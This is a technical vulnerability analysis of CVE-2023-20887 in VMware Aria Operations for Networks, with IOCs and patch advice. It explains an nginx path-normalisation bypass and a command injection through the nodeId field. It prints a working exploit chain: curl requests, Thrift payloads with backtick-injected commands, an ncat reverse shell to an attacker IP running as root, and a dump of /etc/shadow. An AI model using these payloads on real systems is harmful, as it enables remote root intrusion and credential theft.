Description
On June 7, 2023, VMware posted security advisory VMSA-2023-0012.html, which disclosed three vulnerabilities in VMware Aria Operations for Networks (previously known as vRealize Network Insight). These issues were originally reported to VMware anonymously via the Zero Day Initiative.
The most serious of the issues (CVE-2023-20887) is an unauthenticated command injection vulnerability that, combined with an nginx misconfiguration, leads to remote code execution as the root user.
On June 13, 2023, Summoning Team, who independently discovered the issue, disclosed complete details on their blog, along with a working exploit. As of June 20, 2023, VMware confirmed that exploitation of CVE-2023-20887 has occurred in the wild.
A total of three vulnerabilities were fixed in the advisory:
- CVE-2023-20887 - Pre-authentication remote code execution via command injection
- CVE-2023-20888 - Post-authentication deserialization vulnerability
- CVE-2023-20889 - Information disclosure via command injection
According to VMware’s KB, the affected versions are:
- VMware Aria Operations for Networks version 6.2.0 prior to build 1684162127
- VMware Aria Operations for Networks version 6.3.0 prior to build 1684163738
- VMware Aria Operations for Networks version 6.4.0 prior to build 1684166601
- VMware Aria Operations for Networks version 6.5.1 prior to build 1684151627
- VMware Aria Operations for Networks version 6.6.0 prior to build 1684154516
- VMware Aria Operations for Networks version 6.7.0 prior to build 1684151941
- VMware Aria Operations for Networks version 6.8.0 prior to build 1684995353
- VMware Aria Operations for Networks version 6.9.0 prior to build 1684998280
- VMware Aria Operations for Networks version 6.10.0 prior to build 1685358321
The internet-facing deployment count is very low (less than 10 instances on Shodan), which means it’s not commonly internet-facing software; however, due to the ease of remote exploitation and availability of exploit code, this service should be patched as quickly as possible.
Technical analysis
CVE-2023-20887 is actually comprised of two different issues that, combined, lead to remote code execution: an nginx misconfiguration and a shell command injection issue. Let’s look at both parts!
Nginx Misconfiguration
The first issue is an nginx misconfiguration that allows us to access a localhost-only service.
VMware Aria Operations for Networks runs a Java-based service on port 9090:
$ netstat -pant
[...]
tcp 0 0 0.0.0.0:9090 0.0.0.0:* LISTEN 42599/java Looking up the PID, we can see that it’s a Thrift server:
$ ps --pid=42599 -u | cat
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
ubuntu 42599 0.8 2.6 6696596 862308 ? Sl 17:15 1:41 java -XX:+UseParallelGC -Xss256K -Dorg.xerial.snappy.tempdir=/home/ubuntu/tmp -Dlog4j.debug -Dlog4j.defaultInitOverride=true -Dlogdir=/var/log/arkin/saasservice -DvneraLog4jConfigurationFile=/home/ubuntu/build-target/saasservice/saasservice.log4j.xml -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.password.file=/home/ubuntu/build-target/saasservice/jmxremote.password -Dcom.sun.management.jmxremote.access.file=/home/ubuntu/build-target/saasservice/jmxremote.access -Djava.rmi.server.hostname=10.0.0.9 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.port=11100 -Xmx750M -Ddeployment.info=I67FKXAEUCECBY8C8Z4YW07GRI -Ddeployment.id=DRWQ86L -Dsku.info=platform -DuiAccessUrlPath=/home/ubuntu/build-target/deployment/ui-access-url.info -Dreporters.configuration=/home/ubuntu/build-target/saasservice/reporters.configuration -Dreporters.application.name=vRNI -Ddatadog.host=vrni-platform-release. -Ddatadog.tags=env:VRNI-NEW-DEV,role:PLATFORM,did:DRWQ86L,iid:I67FKXAEUCECBY8C8Z4YW07GRI,type:onprem,sku:platform,setup:vrniplatformrelease,inf:vrni -Dvrni.metrics.tags=env:VRNI-NEW-DEV,role:PLATFORM,did:DRWQ86L,iid:I67FKXAEUCECBY8C8Z4YW07GRI,type:onprem,sku:platform,setup:vrniplatformrelease,inf:vrni -Dvrni.metrics.host=vrni-platform-release.10.0.0.9 -Dpostgres.configuration=/home/ubuntu/build-target/saasservice/postgres.configuration -Ddynamodb.configuration=/home/ubuntu/build-target/saasservice/dynamodb.configuration -Delasticsearch.configuration=/home/ubuntu/build-target/saasservice/elasticsearch.configuration -Ddpconfig.base.folder=/home/ubuntu/build-target/saasservice -Ddp.operational.config.base.folder=/home/ubuntu/build-target/saasservice -Dtaskmgr.spec.folder=/home/ubuntu/build-target/saasservice -DOvaParamFile=/etc/vnera/ova.params -Dcustomer.configuration=/home/ubuntu/build-target/saasservice/customer.configuration -Dpolicy.config.path=/home/ubuntu/build-target/saasservice/policy -Ddeployment.type=onprem -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/heap-dumps/saasservice -XX:+ExitOnOutOfMemoryError --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.nio=ALL-UNNAMED --add-exports java.base/jdk.internal.misc=ALL-UNNAMED --add-modules jdk.unsupported -Dio.netty.tryReflectionSetAccessible=true --illegal-access=warn -Ddeployment_type.path=/home/ubuntu/build-target/deployment/deployment.type -Dplatform_shared_keypair_pub=/home/ubuntu/build-target/deployment/keys/shared.crt -Dplatform_shared_keypair_pvt=/home/ubuntu/build-target/deployment/keys/shared.pem -cp /home/ubuntu/build-target/saasservice/saasservice-0.001-SNAPSHOT.jar com.vnera.SaasListener.ServiceMain /home/ubuntu/build-target/saasservice/ServiceThriftListenerConfigTemplate.properties server /home/ubuntu/build-target/saasservice/saasconfiguration.yamlRemote connections to TCP port 9090 are forbidden by an iptables rule:
# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
[...]
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:443
DROP all -- 0.0.0.0/0 0.0.0.0/0 Instead, the server is accessed through nginx, which runs on TCP port 443. Here’s the part of the nginx configuration that proxies requests to the Thrift server:
# cat /etc/nginx/sites-enabled/vnera
[...]
location = /saasresttosaasservlet {
allow 127.0.0.1;
deny all;
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /saas {
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
[...]In that nginx configuration, we see two directives:
- The first, which only allows connections from 127.0.0.1, has rewrite and proxy_pass rules that forward requests from /saasresttosaasservlet to http://127.0.0.1:9090/resttosaasservlet
- The second, which allows connections from any source, has similar rewrite and proxy_pass rules that forward requests from /saasANYTHING to http://127.0.0.1:9090/ANYTHING
The idea behind these rules appears to be an attempt to specifically block access to http://localhost:9090/resttosaasservlet by using regex matches. If that worked the way the developers expected, we wouldn’t be writing about a remote code execution vulnerability right now, so let’s look at how this can be bypassed!
It turns out that we can make a request to saas./resttosaasservlet—note the . character—which will match the second rule. The second rule will perform the rewrite, which keeps everything after /saas, leaving us with ./resttosaasservlet. The request is therefore proxied to http://localhost:9090/./resttosaasservlet, which normalizes to simply http://localhost:9090/resttosaasservlet, the exact endpoint that we aren’t supposed to access!
Now that we can access the resttosaasservlet endpoint on the localhost:9090 server, let’s look at the second vulnerability—command injection.
Command Injection
The /resttosaasservlet endpoint on the Thrift server that runs on TCP port 9090 is vulnerable to a command injection issue. Successful exploitation grants the attacker remote code execution as the root user.
To understand this issue, we grabbed the .jar files from /home/ubuntu/build-target and decompiled them using the jadx Java decompiler.
The command injection vulnerability is in the function com.vnera.common.utils.ScriptUtils.evictPublishedSupportBundles (in the file /home/ubuntu/build-target/common-dependency/6.3.0/common-0.001-SNAPSHOT.jar):
public static synchronized void evictPublishedSupportBundles(String nodeType, String nodeId, List<String> evictionRequestIds, Integer maxFiles, String vcfLogToken) throws Exception {
// [...]
if (maxFiles != null) {
String evictCommand = String.format("sudo ls -tp %s/sb.%s.%s*.tar.gz | grep -v '/$' | tail -n +%d | xargs -I {} rm -- {}", SUPPORT_BUNDLE_WWW_DIR, nodeType, nodeId, maxFiles);
if (CommonUtils.isPlatformCluster()) {
evictCommand = String.format("%s %s %s", CLEANUP_SUPPORT_BUNDLE, nodeId, nodeType);
}
int evictRet = runCommand(evictCommand);
if (evictRet != 0) {
logger.error("Could not cleanup command {}, command returned {}", evictCommand, Integer.valueOf(evictRet));
}
}
}The nodeId argument is passed into a shell command without being sanitized.
That function is called by com.vnera.SaasListener.createSupportBundle() in /home/ubuntu/build-target/saasservice/saasservice-0.001-SNAPSHOT.jar, which also does nothing to sanitize nodeId:
public Result createSupportBundle(String customerId, String nodeId, String requestId, List<String> evictionRequestIds) {
ServiceThriftListener.logger.info("Request support bundle for customerId {} requestId {} nodeId {}", new Object[]{customerId, requestId, nodeId});
ServiceThriftListener.supportBundleExecutor.submit(() -> {
Request.Status status;
int cidInt = Integer.parseInt(customerId);
String nodeType = isLocalNodeId(nodeId) ? CommonUtils.SKU_TYPE_PLATFORM : CommonUtils.SKU_TYPE_PROXY;
SupportRequestStore.Policy policy = ServiceThriftListener.supportRequestStore.getPolicy(SupportRequests.Type.SUPPORT_BUNDLE);
Integer maxFiles = policy != null ? policy.getMaxRequests() : null;
String vcfLogToken = getVCFLogToken();
try {
ScriptUtils.evictLocalSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
ScriptUtils.evictPublishedSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
} catch (Exception e) {
ServiceThriftListener.logger.error("Caught exception in evicting support bundles", e);
}
// [...]
}That function is accessible on the web service via the class com.vnera.saasrpc.interfaces.RestToSaasCommunication.AsyncProcessor.createSupportBundle in /home/ubuntu/build-target/common-dependency/6.3.0/rpc-saasinterface-0.001-SNAPSHOT.jar, which takes parameters of type com.vnera.saasrpc.interfaces.RestToSaasCommunication.createSupportBundle_args. That class takes this set of fields:
CUSTOMER_ID(1, "customerId"),
NODE_ID(2, "nodeId"),
REQUEST_ID(3, "requestId"),
EVICTION_REQUEST_IDS(4, "evictionRequestIds");To access createSupportBundle with those arguments, we do a POST request to /saas./resttosaasservlet with the following data, which looks like JSON but is sensitive to whitespace:
[1,"createSupportBundle",1,0,{"1":{"str":"ThisiscustomerId"},"2":{"str":"ThisisnodeId"},"3":{"str":"ThisisrequestId"},"4":{"lst":["str",2,"ThisisevictionRequestId1","ThisisevictionRequestId2"]}}]Those parameters will be unmarshalled and passed to createSupportBundle, including the nodeId! We can demonstrate this by putting that into a file (say, poc.txt) and sending it to the server with curl:
$ cat poc.txt
[1,"createSupportBundle",1,0,{"1":{"str":"1234"},"2":{"str":"ThisIsTheNodeID"},"3":{"str":"ThisisrequestId"},"4":{"lst":["str",2,"ThisisevictionRequestId1","ThisisevictionRequestId2"]}}]
$ curl -ik 'https://10.0.0.9/saas./resttosaasservlet' --data @./poc.txt
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 26 Jun 2023 21:54:15 GMT
Content-Type: application/x-thrift
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
[1,"createSupportBundle",2,0,{"0":{"rec":{"1":{"i32":0},"2":{"str":""}}}}]We can use the utility on the VMware server (we just uploaded the binary from an Ubuntu system) to watch processes being created; send the curl request above while forkstat -e exec is running and you should see the following output:
root@vrni-platform-release:/tmp# ./forkstat -e exec
[...]
Time Event PID Info Duration Process
21:56:08 exec 34354 /bin/sh -c sudo rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId1.tar.gz
21:56:08 exec 34355 sudo rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId1.tar.gz
21:56:08 exec 34356 rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId1.tar.gz
21:56:08 exec 34357 /bin/sh -c sudo rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId2.tar.gz
21:56:08 exec 34358 sudo rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId2.tar.gz
21:56:08 exec 34359 rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId2.tar.gz
21:56:08 exec 34360 /bin/sh -c sudo ls -tp /ui-support-bundles/sb.proxy.ThisIsTheNodeID*.tar.gz | grep -v '/$' | tail -n +2 | xargs -I {} rm -- {}
21:56:08 exec 34361 sudo ls -tp /ui-support-bundles/sb.proxy.ThisIsTheNodeID*.tar.gz
21:56:08 exec 34362 grep -v /$
21:56:08 exec 34363 tail -n +2
21:56:08 exec 34364 xargs -I {} rm -- {}
21:56:08 exec 34365 ls -tp /ui-support-bundles/sb.proxy.ThisIsTheNodeID*.tar.gzWe can sneak a command into the nodeId in a variety of ways, such as using backticks; here’s how we can execute a command that checks which version of ncat is installed:
$ cat poc.txt
[1,"createSupportBundle",1,0,{"1":{"str":"1234"},"2":{"str":"`ncat --version 2>/tmp/ncat.txt`"},"3":{"str":"ThisisrequestId"},"4":{"lst":["str",2,"ThisisevictionRequestId1","ThisisevictionRequestId2"]}}]
$ curl -ik 'https://10.0.0.9/saas./resttosaasservlet' --data @./poc.txt
HTTP/1.1 200 OK
[...]We can see the command running in forkstat’s output, which proves this is working:
# ./forkstat -e exec
Time Event PID Info Duration Process
22:06:21 exec 4225 /bin/sh -c sudo rm /ui-support-bundles/sb.proxy.`ncat --version 2>/tmp/ncat.txt`.ThisisevictionRequestId1.tar.gz
22:06:21 exec 4226 ncat --version
[...]And, of course, we can grab the output file over ssh, demonstrating both that this attack vector works, and also that ncat is installed, and therefore can be used as a reverse shell:
# cat /tmp/ncat.txt
Ncat: Version 7.60 ( https://nmap.org/ncat )Knowing that ncat is installed, we can create a reverse shell as root (which, thanks to a generous sudo policy, we can do):
$ cat poc.txt
[1,"createSupportBundle",1,0,{"1":{"str":"1234"},"2":{"str":"`sudo ncat -e /bin/bash 10.0.0.227 1234`"},"3":{"str":"ThisisrequestId"},"4":{"lst":["str",2,"ThisisevictionRequestId1","ThisisevictionRequestId2"]}}]
$ curl -ik 'https://10.0.0.9/saas./resttosaasservlet' --data @./poc.txt
HTTP/1.1 200 OK
[...]And catch the shell on our listener:
$ nc -v -l -p 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.0.0.9.
Ncat: Connection from 10.0.0.9:36772.
whoami
root
cat /etc/shadow
root:$1$ZjHij3Cx$ngQzCG/yoRT/RnuEW/gUb/:18787:0:99999:7:::
daemon:!*:18484:0:99999:7:::
bin:!*:18484:0:99999:7:::
[...]Note that having a shell open ties up some worker processes, so certain actions (like popping a second shell) won’t work; take care when testing this against a production service!
IOCs
Logs for the affected web service are in /var/log/arkin/saasservice, and should show errors such as these after being exploited:
root@vrni-platform-release:/var/log/arkin/saasservice# grep 'Invalid nodeId' *
[...]
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat --version 2>/tmp/ncat.txt`, requestId ThisisrequestId
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat -e /bin/bash 10.0.0.227 1234`, requestId ThisisrequestId
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `sudo ncat -e /bin/bash 10.0.0.227 1234`, requestId ThisisrequestId
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat 10.0.0.227 1337 -e /bin/sh`, requestId value3
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat 10.0.0.227 1338 -e /bin/sh`, requestId value3
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat 10.0.0.227 1339 -e /bin/sh`, requestId value3
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `touch /tmp/hi`, requestId ThisisrequestIdAdditionally, POST requests to the endpoint with a /./ attached should be viewed with suspicion, as they likely indicate exploitation attempts (the fgrep utility looks for the exact pattern, with no regular expression matching):
# fgrep '/./resttosaasservlet' *
[...]
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:14:16.810Z INFO vnera.SaasListener.ServiceThriftListener_ServiceImpl dw-87 - POST /./resttosaasservlet createSupportBundle:3782 Request support bundle for customerId 1234 requestId ThisisrequestId nodeId _touch /tmp/hi_
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:14:16.811Z INFO jetty.server.Slf4jRequestLogWriter dw-87 write:62 127.0.0.1 - - [26/Jun/2023:22:14:16 _0000] "POST /./resttosaasservlet HTTP/1.0" 200 74 "-" "curl/7.79.1" 1
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:15:03.172Z INFO vnera.SaasListener.ServiceThriftListener_ServiceImpl dw-85 - POST /./resttosaasservlet createSupportBundle:3782 Request support bundle for customerId 1234 requestId ThisisrequestId nodeId _touch /tmp/hi_
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:15:03.172Z INFO jetty.server.Slf4jRequestLogWriter dw-85 write:62 127.0.0.1 - - [26/Jun/2023:22:15:03 _0000] "POST /./resttosaasservlet HTTP/1.0" 200 74 "-" "curl/7.79.1" 2
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:15:05.668Z INFO vnera.SaasListener.ServiceThriftListener_ServiceImpl dw-80 - POST /./resttosaasservlet createSupportBundle:3782 Request support bundle for customerId 1234 requestId ThisisrequestId nodeId _touch /tmp/hi_
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:15:05.668Z INFO jetty.server.Slf4jRequestLogWriter dw-80 write:62 127.0.0.1 - - [26/Jun/2023:22:15:05 _0000] "POST /./resttosaasservlet HTTP/1.0" 200 74 "-" "curl/7.79.1" 0Note that a successful attacker will gain root privileges, and can remove evidence such as this from the filesystem.
Guidance
Due to the proof of concept that is available online, plus the evidence of active exploitation, we recommend that administrators patch their VMware Aria Operations for Networks versions as quickly as possible.
References
